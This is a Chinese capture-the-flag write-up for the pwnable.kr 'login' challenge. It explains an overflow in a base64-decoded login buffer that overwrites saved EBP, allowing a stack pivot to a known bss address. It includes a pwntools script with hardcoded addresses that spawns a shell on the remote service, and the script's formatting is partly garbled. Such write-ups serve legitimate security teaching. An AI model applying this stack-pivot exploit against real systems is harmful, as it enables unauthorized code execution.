Download : http://pwnable.kr/bin/login

Running at : nc pwnable.kr 9003

先看看ida里面的逻辑。

比较重要的信息时input变量再bss段上,并且没有PIE保护,这样一来就有了一个已知的地址(这很重要

需要输入的是信息的base64编码,而input变量中存储的是输入信息base解码后的内容。

继续跟踪auth函数,发现了一个溢出。

变量v4放在ebp-8的位置,而最多会复制a1长(a1<=0xC),因此会覆盖了EBP。

尝试一下,输入P4NDA_P4NDA_的base64编码(UDROREFfUDROREFf)

果然产生了段错误。

然而仅仅覆盖了EBP,EBP的作用是调整栈帧结构。

leave  ;mov esp ebp   pop ebp

ret      ;pop eip

因此,当利用溢出覆盖后,修改的是上一个栈的EBP也就是main函数栈,当main函数结束时会有问题。

思路是将EBP覆盖成引导ESP指向包含SHELL地址的内存。进一步在ret时控制eip跳转。

该位置可以选择input变量地址,因为该地址已知。

#coding:utf-8

from pwn import *

debug = 1
if debug:
pro = process('./login')
else:
pro = remote('pwnable.kr',9003) #print pro.recvline()
input_addr = 0x0811eb40
sys_shell = 0x8049278 payload = 'a'*4 + p32(sys_shell) + p32(input_addr) pro.send(payload.encode('base64'))
pro.interactive()

最新文章

  1. Sniffer的完整代码,基于winpcap抓包统计吞吐量
  2. 关于ASPXGridview的双击事件弹出 【转】
  3. JavaScript星形评分
  4. SublimeText3下的Python开发环境配置
  5. protobuf-net
  6. HDU 2676 Network Wars 01分数规划,最小割 难度:4
  7. Android 锁屏软件MemoryDebris测试报告
  8. 转载sql server 关于 default value的一些使用总结
  9. iOS开发——适配篇&amp;iOS9适配
  10. idea2015的使用心得
  11. 【ANT】java项目生成文件示例
  12. ps使用经验
  13. 【粗糙版】javascript的变量、数据类型、运算符、流程结构
  14. Hdoj 1789 Doing Homework again 题解
  15. 【tmos】spring data jpa 创建方法名进行简单查询
  16. Chapter3_操作符_关系操作符
  17. Javascript 对象复制
  18. Singer 学习十二 指南
  19. Java版office文档在线预览
  20. [HEOI2015]最短不公共子串

热门文章

  1. 「AHOI2014/JSOI2014」骑士游戏
  2. MySQL报Too many connections
  3. Python 的直接赋值、Deepcopy、Copy的区别
  4. gitlab的搭建与使用(一)
  5. Java基础 -5.2
  6. Manthan, Codefest 19 (open for everyone, rated, Div. 1 + Div. 2)E(多重集维护)
  7. 【PAT甲级】1009 Product of Polynomials (25 分)
  8. Thymeleaf基本知识(推荐)
  9. windows网络编程-C语言实现简单的UDP协议聊天
  10. Ubuntu18.04-MySQL8.0-表名大小写敏感-远程连接